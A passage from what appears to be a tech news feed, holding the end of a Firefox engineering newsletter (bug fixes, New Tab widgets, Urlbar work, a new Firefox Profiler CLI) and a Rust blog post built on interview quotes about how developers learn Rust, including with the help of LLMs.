<li>Takeru Mitsumori: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038948">Fix typo in ID name about-translations-swap-langauges-icon in about-translations.html</a></li>
<li>🌟 Freya Arbjerg [:freyacodes]: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">Blackboxed columns are ignored</a></li>
<li> tom.passarelli: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2031328">tab-preview-panel emits unpaired popupshown/popuphidden events, breaking sidebar autohide</a></li>
</ul>
<h3>Project Updates</h3>
<h4>Add-ons / Web Extensions</h4>
<h5>Addon Manager &amp; about:addons</h5>
<ul>
<li>As part of the work for the Project Nova about:addons page restyling, the about:addons sidebar has been migrated to the moz-page-nav and moz-page-nav-button reusable components, improving accessibility and visual consistency with the Firefox Desktop about:settings page –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1881767"> Bug 1881767</a></li>
</ul>
<h5>WebExtensions Framework</h5>
<ul>
<li>Implemented WebExtensions negative permissions infrastructure, providing the foundations for enterprise policy “blocked host permissions” features –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1745823"> Bug 1745823</a></li>
<li>Restricted host permission changes for MV3 extensions force-installed via enterprise policy (matching similar behaviors provided by Chrome enterprise policy behaviors) –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904054"> Bug 1904054</a>
<ul>
<li>Thanks to Mike Kaply for the implementation of this enterprise policy enforcement feature.</li>
</ul>
</li>
</ul>
<h5>WebExtension APIs</h5>
<ul>
<li>Fixed handling of &lt;all_urls&gt; as an API permission in Manifest V3, ensuring the permission is correctly initialized on extension install –<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758306"> Bug 1758306</a></li>
</ul>
<h4>DevTools</h4>
<ul>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789324">Rahman Mahmutović [:r_m]</a> made it possible to edit width/height in the box model section of the Layout panel (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1717176">#1717176</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> improved toggling tools driving in-page highlighters (e.g. the Measuring) (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1262773">#1262773</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=446518">Sebastian Zartner [:sebo]</a> added a setting to control visibility of HTML comments in the markup view (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1455294">#1455294</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=789044">Freya Arbjerg [:freyacodes]</a> fixed an issue in script blackboxing (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036767">#2036767</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> replaced custom preference to log RDP messages with MOZ_LOG (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1622857">#1622857</a>)</li>
<li><a href="https://bugzilla.mozilla.org/user_profile?user_id=283262">Alexandre Poirot [:ochameau]</a> fixed retrieval of garbage collected script text content (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1758454">#1758454</a>)</li>
</ul>
<h4>WebDriver</h4>
<ul>
<li>Sameem updated the “Take Element Screenshot” command from WebDriver Classic to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013176">crop screenshots of elements which exceed the viewport</a>. This aligns with the specification and avoids errors when attempting to capture huge elements.</li>
<li>Alexandra Borovova updated the events for new top-level browsing contexts: <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1930594">we will not send anymore “browsingContext.domContentLoaded” and “browsingContext.load” events for them, instead the “browsingContext.contextCreated” event will be sent when a tab is ready to be used</a>. This is required to align with the expected per-spec behavior.</li>
<li>Henrik Skupin landed a patch <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1430064">allowing geckodriver to gracefully shut down Firefox</a> when geckodriver itself is terminated.</li>
<li>Hiroyuki Ikezoe <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040252">disabled Firefox’s “scroll axis lock” feature</a> so WebDriver actions for wheel input devices can scroll in arbitrary directions when using pan gestures.</li>
</ul>
<h4>Lint, Docs and Workflow</h4>
<ul>
<li>Added a rule to <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1790711">prevent new uses of Preferences.sys.mjs</a>.</li>
<li>The browser environment globals within ESLint have <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1793814">now been updated</a>. These include Sanitizer, VideoFrame and a few other new ones.</li>
<li>Temporal, and some other definitions have been <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1999036">added to TypeScript</a>.</li>
</ul>
<h4>New Tab Page</h4>
<ul>
<li>Much has happened in the last 2 weeks! <a href="https://bugzilla.mozilla.org/buglist.cgi?bug_status=RESOLVED%2CVERIFIED%2CCLOSED&amp;resolution=FIXED&amp;chfieldfrom=2026-05-12T14%3A40%3A16.019Z&amp;chfieldto=Now&amp;bug_id=2015530%2C2024720%2C2028377%2C2028534%2C2033592%2C2035176%2C2036902%2C2037143%2C2037301%2C2037541%2C2037646%2C2037947%2C2038048%2C2038392%2C2038790%2C2038823%2C2038881%2C2038981%2C2038984%2C2039103%2C2039107%2C2039333%2C2039346%2C2039358%2C2039477%2C2039587%2C2039752%2C2039765%2C2039770%2C2039775%2C2039956%2C2039963%2C2040027%2C2040033%2C2040254%2C2040269%2C2040370%2C2040376%2C2040480%2C2040481%2C2040503%2C2040552%2C2040645%2C2040674%2C2040677%2C2041033%2C2041163%2C2041196%2C2041204%2C2041205%2C2041207%2C2041244%2C2041532%2C2041651%2C2041682%2C2041708%2C2041711%2C2041730%2C2041757%2C2041765%2C2041814%2C2042054&amp;product=Firefox&amp;component=New+Tab+Page">Here’s a full bug list</a>, and here are some highlights.</li>
<li>Dre fixed the List widget that was creating a new list too eagerly on the New Tab Page (<a href="https://bugzil.la/2033592">2033592</a>) — prevents accidental list creation and improves the Lists UI reliability.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2035176"> fixed Weather widget small card layout issues with opt-in location options and an error message displayed</a>, resolving card overflow and removing the spurious opt-in error so users see a compact Weather card and correct location prompts on New Tab.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2037301"> added key dates state to the Sports widget</a>, enabling the Sports card to surface event deadlines/key-date highlights on New Tab so sports users see timely date info.</li>
<li>Scott Downe<a href="https://bugzil.la/2037541"> added a manage widgets option to the New Tab nova widgets context menu</a>, giving users a direct context-menu entry to open the widget management flow from any widget with Nova enabled.</li>
<li>Scott Downe added a reusable Newtab widget base component to centralize lifecycle, focus/keyboard handling, DOM templates, and telemetry hooks, reducing duplication and making widget behavior more consistent; see<a href="https://bugzil.la/2037947"> Newtab widget base component</a>.</li>
<li>Dre converted per-widget expansion handling to a shared widget expansion handler to unify expand/collapse state management and prevent widgets from incorrectly retaining or losing expanded state; see<a href="https://bugzil.la/2038048"> Convert widget expansion handling to shared widget expansion</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2038881"> updated the Sports widget to populate the “follow teams” state from the /teams endpoint</a>, so follow/unfollow toggles now reflect server-side subscriptions and reduce incorrect follow states.</li>
<li>Scott Downe<a href="https://bugzil.la/2038981"> moved widget menu items</a> within New Tab widgets to standardize menu ordering and action grouping, so users find Add/Remove/Configure entries in expected positions across platforms.</li>
<li>Dre<a href="https://bugzil.la/2039346"> fixed a World Clock city search bug </a>for the word clocks widget, restoring expected search filtering/matching so city lookups return correct results.</li>
<li>Scott Downe fixed an issue where the New Tab small weather widget size change didn’t always apply by correcting the widget size update path (JS/CSS layout interactions), improving consistent rendering for small-tile weather across responsive breakpoints and platforms; see<a href="https://bugzil.la/2040033"> Newtab small weather widget size change doesn’t always work</a>.</li>
<li>Nina Pypchenko [:nina-py]<a href="https://bugzil.la/2040269"> added a group stage section to match highlights</a> in the sports widget on New Tab so users now see stage-aware grouping and stage labels on match highlight cards, making tournament context (group vs knockout) visible while browsing highlights.</li>
<li>Dre<a href="https://bugzil.la/2040376"> fixed the small world clock widget not expanding to large while editing clocks</a> so users can enter edit mode and expand the widget as expected; the change wires the edit-mode resize handler to update widget size/class during edits.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040480"> added WCW OMC message strings</a> so World Cup widget messaging flows on New Tab now display the correct copy (localized where available) instead of falling back to missing-text behavior.</li>
<li>Reem Hamoui<a href="https://bugzil.la/2040552"> added a “View all” button and a list view for the results tab at medium widget size</a> so Sports widget users on medium New Tab tiles can expand results and scroll full lists without resizing the widget.</li>
<li>Maxx Crawford<a href="https://bugzil.la/2040674"> added WCW “Watch Live” stream strings to the Sports widget strings bundle</a> so the widget can surface a localized “Watch Live” CTA for applicable events.</li>
<li>Dre<a href="https://bugzil.la/2040677"> restored VoiceOver reachability for Edit/Remove in World Clock on macOS</a> so macOS VoiceOver users can now focus and activate clock Edit/Remove controls thanks to accessibility role/label and focus-order fixes.</li>
<li>Maxx Crawford removed the persistent browser logo when all new-tab features (Top Sites, widgets, content feed) are disabled by adding a conditional render guard in the New Tab component, preventing an orphaned logo (<a href="https://bugzil.la/2041033">2041033</a>).</li>
<li>Mike Conley added New Tab jest tests to the node tests Tier 1 CI job<a href="https://bugzil.la/2041757"> Run newtab jest tests as part of node tests Tier 1 job</a> to catch regressions earlier in CI</li>
<li>Irene Ni shipped multiple visual fixes for the Sports widget<a href="https://bugzil.la/2041765"> Sports widget – various visual fixes</a> (spacing, truncation, icon alignment, clipping) to improve readability and layout on constrained viewports.</li>
</ul>
<h4>Picture-in-Picture</h4>
<ul>
<li>kpatenio <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041113">adjusted our YouTube site specific wrapper so that the URL bar toggle appears more reliably</a>, especially when selecting videos from the YouTube search page.</li>
<li>Thanks to Sylvestre for patching <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037420">some</a> <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2042141">bugs</a> to prevent some spurious console errors!</li>
<li>Niklas <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2013735">fixed captions on autopip videos failing to sync with the origin videos</a>.</li>
</ul>
<h4>Performance Tools (aka <a href="https://profiler.firefox.com/">Firefox Profiler</a>)</h4>
<ul>
<li>Firefox Profiler now has a CLI! We also added a profiler-analysis skill to the Firefox codebase. Once you capture a performance profile, you can ask Claude or an AI to analyze it by providing a link or local path. You can use it to analyze a performance regression or debug an issue if you have a profile at hand.
<ul>
<li><a href="https://www.npmjs.com/package/@firefox-devtools/profiler-cli">https://www.npmjs.com/package/@firefox-devtools/profiler-cli</a></li>
<li>You can install it with npm install -g @firefox-devtools/profiler-cli@latest</li>
</ul>
</li>
</ul>
<h4>Search and Urlbar</h4>
<h6>Nova UI refresh</h6>
<ul>
<li>Drew and Daisuke continued working on reorganizing styles and updating the urlbar for Nova.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019154">2019154</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2019152">2019152</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2041501">2041501</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040532">2040532</a></li>
</ul>
<h6>Suggest</h6>
<ul>
<li>Drew landed several Suggest improvements: realtime suggestions colors, sports suggestions received World Cup tweaks, and online Suggest via OHTTP was enabled for eligible users in Firefox 153.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040561">2040561</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039753">2039753</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035614">2035614</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038843">2038843</a></li>
</ul>
<h6>Adaptive autofill</h6>
<ul>
<li>James fixed soft-block counting to track autofill dismisses, rather than consecutive backspaces on the same autofill, and added telemetry to measure URLs reintegration after blocking.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2040819">2040819</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037177">2037177</a></li>
</ul>
<h6>Quick actions</h6>
<ul>
<li>Dharma created a new Firefox Labs quick action, fixed the Update action button, and re-enabled ScotchBonnet in some tests that were not updated yet.</li>
<li>Caleb added Calculator support for certain unicode operators.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023169">2023169</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1928635">1928635</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1923383">1923383</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033861">2033861</a></li>
</ul>
<h6>Multi Context Address Bar</h6>
<ul>
<li>Moritz continued refactoring the urlbar code: converted some of the js modules to not be system modules, fixed dynamic results templates, incorrect reuse of result rows, and keyboard shortcuts on the unified search button panel.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039297">2039297</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2036095">2036095</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039844">2039844</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037933">2037933</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2030050">2030050</a></li>
</ul>
<h6><i>Other</i></h6>
<ul>
<li>Marco, Drew and Daisuke fixed several intermittent test failures.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2038510">2038510</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2023908">2023908</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2011584">2011584</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1938142">1938142</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1971091">1971091</a></li>
</ul>
<h5>Search</h5>
<ul>
<li>Mark removed old WebExtension-based search engines from the source tree, removed loading of search add-ons from <i>resource://search-extensions/</i>.</li>
<li>Caleb fixed multiple documentation issues and added a test covering searches from a private window.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1904613">1904613</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035878">2035878</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2037942">2037942</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2033545">2033545</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2005724">2005724</a></li>
</ul>
<h5>Places</h5>
<ul>
<li>Marco removed some unnecessary database transactions, fixed the bookmarks panel folder dropdown on Windows, and resolved several intermittent test failures.</li>
<li>Thanks to Sam Johnson who fixed the bookmark edit panel showing “mobile” instead of “Mobile Bookmarks”.</li>
<li><a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2039534">2039534</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1505800">1505800</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2008829">2008829</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2029541">2029541</a>, <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=2035084">2035084</a></li>
</ul>
<ul>
<li>
</ul>]]></content:encoded>
</item>
<item>
<title><![CDATA[The Rust Programming Language Blog: The many journeys of learning Rust]]></title>
<description><![CDATA[This is another post in our series covering what we learned through the Vision Doc process. We previously described the overall approach and what we learned about doing user research, we explored what people love about Rust, dug into what it takes to ship safety-crticial Rust, and described some ...]]></description>
<link>https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3693289/tools/the-rust-programming-language-blog-the-many-journeys-of-learning-rust/</guid>
<pubDate>Sat, 25 Jul 2026 08:37:24 +0200</pubDate>
<category>💾  Tools</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><em>This is another post in our series covering what we learned through the Vision Doc process. We previously <a href="https://blog.rust-lang.org/2025/12/03/lessons-learned-from-the-rust-vision-doc-process/" rel="external">described the overall approach and what we learned about doing user research</a>, we <a href="https://blog.rust-lang.org/2025/12/19/what-do-people-love-about-rust/" rel="external">explored what people love about Rust</a>, <a href="https://blog.rust-lang.org/2026/01/14/what-does-it-take-to-ship-rust-in-safety-critical/" rel="external">dug into what it takes to ship safety-crticial Rust</a>, and <a href="https://blog.rust-lang.org/2026/03/20/rust-challenges/" rel="external">described some of the major challenges that people face when using Rust</a>.</em></p>
<p>In this post we walk through what folks have found on their journey to learn the Rust programming language with ups and downs covered.</p>
<p>As a disclaimer, LLMs (Large Language Models) come up in this post because our interviewees brought them up. We're scoping discussion to their use as a learning tool, covering research and example generation, not broader questions about AI (Artificial Intelligence) in software development.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#many-paths-to-needing-rust"></a>
Many paths to needing Rust</h3>
<p>The interviews surfaced several different paths into Rust: curiosity, embedded work, job-market pressure, organizational adoption, and reassignment after a team or company chose Rust. That last path matters because many learners are not evaluating Rust from a blank slate; they are trying to become productive after Rust has already arrived in their work.</p>
<blockquote>
<p>"Funny enough, I've advocated for more niche languages than Rust in the past. Rust has pretty much stopped being as much of a niche language as it was, but it's not Java." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#rust-learning-resources"></a>
Rust learning resources</h3>
<p>Likely as expected, the folks that we talked to reach for a range of resources to learn Rust. Some reach for official documentation, such as <a href="https://doc.rust-lang.org/book/" rel="external">The Rust Programming Language Book</a> and find that sufficient to build on what the compiler was already showing them.</p>
<blockquote>
<p>"I started with the official Rust documentation because there are a lot of great examples of how features like the borrow checker work." -- Software engineer at an Automotive supplier</p>
</blockquote>
<p>Others needed more passes and more formats, sometimes reaching for resources the community maintains, such as <a href="https://rustlings.rust-lang.org/" rel="external">Rustlings</a>, <a href="https://danielkeep.github.io/tlborm/book/index.html" rel="external">The Little Book of Rust Macros</a>, and <a href="https://rust-unofficial.github.io/too-many-lists/" rel="external">Learn Rust With Entirely Too Many Linked Lists</a>.</p>
<blockquote>
<p>"The first time I went through the chapter in [The Rust Programming Language] on borrow checking, I was like, what is this? I read it again, then I watched a YouTube video of someone explaining the chapter." -- Rust freelance consultant</p>
</blockquote>
<blockquote>
<p>"Rust book, Rustlings, Zero to Production in Rust, Jon Gjengset tutorials. A bunch of books. It's not a one-pass reading. Can't say how many times I've gone through it." -- Software engineer working on video streaming and storage</p>
</blockquote>
<p>These resources have brought up an entire generation of Rust programmers. But, to some, there is a perception that these resources have trouble keeping pace with the language.</p>
<blockquote>
<p>"We'd like to use [The Rust Programming Language/'the book'], but we've found that it's out of date, unfortunately. We've looked at the GitHub repo and found it's got a lot of unresolved issues and unmerged PRs" -- Principal Software Engineering work on Rust adoption in a regulated industry</p>
</blockquote>
<p>Whether or not this is factually true, Rust's growth has nonetheless put more scrutiny on these materials. Companies evaluating adoption and engineers getting reassigned to Rust teams are looking at them with fresh eyes and finding the gaps that affect their own evaluation.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#beginner-stumblings-and-unlearning-habits"></a>
Beginner stumblings and unlearning habits</h3>
<p>It's pretty typical for Rust to be the 2nd, 3rd or Nth programming language that someone picks up. They'd end up writing their most familiar language in Rust, whether C++ patterns, Java patterns, or whatever they knew, for months or even years. Eventually they got comfortable enough to start writing idiomatic Rust.</p>
<blockquote>
<p>"There's a bit of a drop in productivity compared to C if you're already familiar with it just because you're learning new rules, new syntax."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"In the beginning it was more poking around the code and adding and removing some ampersands and asterisks to try to make sense of <code>mut</code> and not <code>mut</code> and whatever." -- Senior engineer with 20 years of Java experience in cloud and IoT</p>
</blockquote>
<p>We also spoke with someone who found that not having much of a programming background seemed to benefit people picking up Rust. Not having worn-in grooves from other languages may play a role here, and it's worth investigating further.</p>
<blockquote>
<p>"I had someone who had never programmed much before start working on the internals of [our Rust project]. She was just fine with getting into Rust. It's more of the senior people that struggle as they need to unlearn practices which may work in other languages, but it's not the 'Rust' way." -- Researcher, Automotive OEM R&amp;D Lab</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-to-work-with-the-borrow-checker"></a>
Learning to work with the borrow checker</h3>
<p>We heard a lot about learning to work with the borrow checker instead of against it. People get there through different paths, but a few patterns came up repeatedly.</p>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#the-compiler-as-teacher"></a>
The compiler as teacher</h4>
<p>Rust's diagnostics did the teaching on their own, especially around lifetimes.</p>
<blockquote>
<p>"If you mess up the lifetimes in a piece of code that you've written by hand, I usually find that Rust's diagnostics are very helpful" -- Researcher working on static analysis of Rust programs</p>
</blockquote>
<blockquote>
<p>"Whatever's missing, the compiler usually fills in: it tells me 'you need to declare the lifetime of this reference', so I know and can figure it out. That all generally works pretty well." -- Senior Software Engineer</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-by-doing"></a>
Learning by doing</h4>
<p>Others felt like they only really internalized the borrow checker after writing a lot of Rust. It took projects, coding challenges, prototyping and so on until at some point it clicked.</p>
<blockquote>
<p>"I actually did not understand the borrow checker until I spent a lot of time writing Rust" -- Founder of a startup built on Rust</p>
</blockquote>
<blockquote>
<p>"Besides the prototyping work, I also did coding-challenge-type stuff to get familiar with Rust for Advent of Code. [..] It eventually clicked to the point where I wasn't fighting with Rust, it was working for me. I had that experience other people describe: when I managed to get my program to fit with Rust, it worked. I didn't spend time debugging." -- Principal Software Engineer, large SaaS provider</p>
</blockquote>
<h4><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#letting-go-of-clone-guilt"></a>
Letting go of "clone guilt"</h4>
<p>Some learners arrive with the assumption that good Rust means zero clones, zero copies, lifetimes threaded through everything. They set the bar at optimal before they've learned how to write idiomatic Rust, and it makes the borrow checker feel harder than it needs to be at the outset.</p>
<blockquote>
<p>"On one of my first projects, I was like, 'I don't ever want to copy or clone anything,' so I carefully wove through all the lifetimes and got myself into a bit of a bind. Then I saw someone else just cloning the struct I was working with, and it was super cheap. Sometimes you can just clone and it's going to be okay." -- Researcher at a university</p>
</blockquote>
<p>The experienced Rust developers we spoke with consistently said the same thing: clone freely while you're learning, then optimize when you understand the problem. Rust's reputation for performance and correctness feeds this. Newcomers assume anything less than optimal is wrong before they've written a first working program, and clone guilt is how that shows up.</p>
<p>We think it could be an interesting area of future study to check into the patterns Rust programmers employ at different levels of experience and under which circumstances. One member of the Rust Vision doc team that's very experienced with Rust noted that there's kind of an "expected shape" they understand as passing the compiler. This knowledge influences how they approach writing code which wouldn't take that shape and they naturally find themselves understanding when to use so-called workarounds, such as passing around indices into arrays or <code>Vec</code>s.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#multi-paradigm-but-not-the-oop-some-are-used-to"></a>
Multi-paradigm, but not the OOP some are used to</h3>
<p>The Rust programming language is multi-paradigm, and how that lands depends on what you're coming from. We heard some that came from a functional background were delighted with digging into learning how much Rust inherits from that lineage. Some others noted that they and others on their teams struggled to unlearn the object-oriented style they'd come to use heavily in other languages like C++ and Java.</p>
<blockquote>
<p>"Developers coming from C++ tend to think object-oriented. I think that's a difference between C++ and Rust." -- Architect at Automotive OEM</p>
</blockquote>
<blockquote>
<p>"I had exactly that thing, where I would apply all my years of Java and JS thinking, where I could just create some object, not care about it, return it, have it sloshing around between various functions. Found myself reaching for these patterns and then being told 'no, you cannot do that'." -- Principal Engineer at a SaaS company</p>
</blockquote>
<p>Developers coming from functional programming had less to unlearn: strong typing, pattern matching, and an expression-oriented style were already familiar.</p>
<blockquote>
<p>"My background has been more functional programming, strong typing. That originated for me as a Lisper: once a Lisper, always a Lisper." -- Principal Software Engineer working on Rust tooling for safety-regulated industries</p>
</blockquote>
<blockquote>
<p>"The languages I primarily used before Rust were things like OCaml. Way back, I came from C and C++, the classic languages, and then I spent quite a long time doing primarily pure functional stuff. These days I've ended up back in what I like to think of as a pragmatic center ground [with Rust]." -- Fractional CTO</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#teaching-rust-in-academia"></a>
Teaching Rust in academia</h3>
<p>We spoke with a university professor that's been teaching Rust generally. In the academic environment, they were able to use proxies for some things such as "traits are like interfaces in Java" because the students had already gone through a set of courses in their first and second years that taught them Java. They introduced concepts slowly throughout the course, choosing to deal with some more complex topics like generics later. The outcome generally was that students had no problem picking up Rust in this setting.</p>
<blockquote>
<p>"I couldn't see any big difference on the embedded side. We also teach an embedded class, and we did an experiment. Half of the students' feedback was worse on the Rust class, mostly because they needed to build the project themselves. The C students just got one from [an LLM], absolutely no problem." -- University Professor, on teaching Rust</p>
</blockquote>
<p>The C cohort leaned on LLMs for the project in ways the Rust cohort couldn't. We don't yet have a clear answer for why.</p>
<p>What did come through clearly was the Rust cohort's experience with the community. Some students needed to figure out which drivers to use for the embedded project and how to use them. Their professor encouraged them to open issues and ask questions directly on GitHub, and the maintainers responded. Students who had never contributed to open source before were getting answers from the people who wrote the code.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#learning-using-llms"></a>
Learning using LLMs</h3>
<p>Some experienced folks shared that they saw LLMs as a tool that can help someone come up to speed quickly, either as a research tool or for generating example Rust code to understand concepts.</p>
<blockquote>
<p>"I'm optimistic that there's a way to work [LLMs] in that will cut down that learning curve. One of the big things these tools bring is reducing the learning curve in general; these are very good tools to help you navigate a space that you don't know yet." -- Maintainer of large open source Rust crate</p>
</blockquote>
<blockquote>
<p>"I try [LLMs] out once a month, usually for generating an example or something like this. Just like with Stack Overflow: when you read an example, you should read it carefully and try to understand it. Not copy and paste it, but type it in your own words in code and then check it, because that's where the teeny tiny little mistakes are." -- Founder of startup built on Rust</p>
</blockquote>
<p>For some learners, an LLM is just another way to find answers, no different than a search engine.</p>
<blockquote>
<p>"So for the most part, picking up Rust - how do I learn? I'll [use web search for] things, I'll ask [an LLM], I'll just poke around and read the code." -- Senior Software Engineer working in a regulated space</p>
</blockquote>
<p>One founder went further and claimed that LLMs change who can become a Rust developer. One consulting company founder described hiring high school graduates with no systems programming background and training them as Rust developers, with LLMs filling in the learning gaps that would previously have required years of experience.</p>
<blockquote>
<p>"At the beginning, I was worried, but now that we have [LLMs] supporting development, the difficulty of the language doesn't matter. I'm seeing a huge opportunity behind strong runtime languages like Rust. [..] In [Developing Country] we hire 20-25 high school graduates, train them to be Rust programmers, then they enhance our workforce worldwide." -- Founder of a consulting company</p>
</blockquote>
<p>We heard this from one organization. This is a claim that the combination of Rust's compiler and LLM tooling can dramatically shorten the path from beginner to working developer. Whether it generalizes depends on questions we can't answer from a single interview: how long these developers stay, what kind of code they can maintain independently, and whether this training/learning model works outside this company's particular structure. If it holds up, the pool of people who can become Rust developers is much larger than the usual hiring profile suggests.</p>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#organizational-considerations-for-rust-learners"></a>
Organizational considerations for Rust learners</h3>
<p>We spoke with a number of folks on teams that are using Rust in larger organizations. Teams wanted to know that everyone would end up at roughly the same level of competence, which led a good number to invest in training courses to get there. Some leaders found that staff was able to ramp well enough by reading The Rust Programming Language, going through Rustlings, and then picking up lower risk and priority tickets to work on. Having a sense of community was also important within companies; it helps people know they are not alone when they are asked to work on Rust after, say, a reorganization happens.</p>
<blockquote>
<p>"[..] the idea with the class as opposed to 'just read the Rust book on your own' was that this gives everyone kind of the same baseline going in."  -- Principal Firmware Engineer (mobile robotics)</p>
</blockquote>
<blockquote>
<p>"So typically we're going to have people work through Rustlings, work through The Rust Programming Language. We have them then start to pick up lower risk tickets to work on." -- Principal Engineer at a large SaaS provider</p>
</blockquote>
<blockquote>
<p>"We've got an internal Slack channel for Rust learning where people can drop questions and others will come in and answer them. That helps build up understanding and community." -- Software Engineer at a large corporation</p>
</blockquote>
<p>Some organizations found that while the person they'd hire would need to learn Rust, it was still preferable to the alternative of hiring someone for a critical piece of software written in another language.</p>
<blockquote>
<p>"They needed to grow and maintain this C++ codebase. They had a C++ wizard, and they tried for about two years to find someone with the same level of expertise. They ended up hiring people that didn't know Rust and ramping them up, creating FFI bindings from the C++ side so they could work in Rust. And you can feel it: the borrow checker is teaching these people the right way to handle their systems." -- Principal Engineer at an Automotive OEM</p>
</blockquote>
<p>The community and helping each other aspect seems to grow bonds as organizations mature.</p>
<blockquote>
<p>"Our team is [all about] mentorship. I've mentored people coming up to speed on Rust, and people help each other hugely." -- Principal Software Engineer at a large SaaS company</p>
</blockquote>
<h3><a class="anchor" href="https://blog.rust-lang.org/2026/06/25/vision-doc-journeys-to-learning-rust/#silent-attrition"></a>
Silent attrition</h3>
<p>We identified some cases where people have approached Rust and bounced off of it, for one reason or another. In the below case, someone with a background in a language with fewer guardrails found themselves frustrated enough with Rust to walk away.</p>
<blockquote>
<p>"All of that means that that embedded ecosystem is very frustrating to somebody who comes from C and is like, why can't I just get a pointer to this peripheral and then write into the registers. What are you doing to me? [..] My friend never got over that. He looked at it and said, I'm not going to deal with this and walked away." -– A second University Professor</p>
</blockquote>
<p>There may be language features that for a particular domain are not seen as comfortable or usable yet, such as async Rust usage in a safety domain. We'd like to map which language features feel off-limits in which domains; async in safety-critical work probably isn't the only case.</p>
<blockquote>
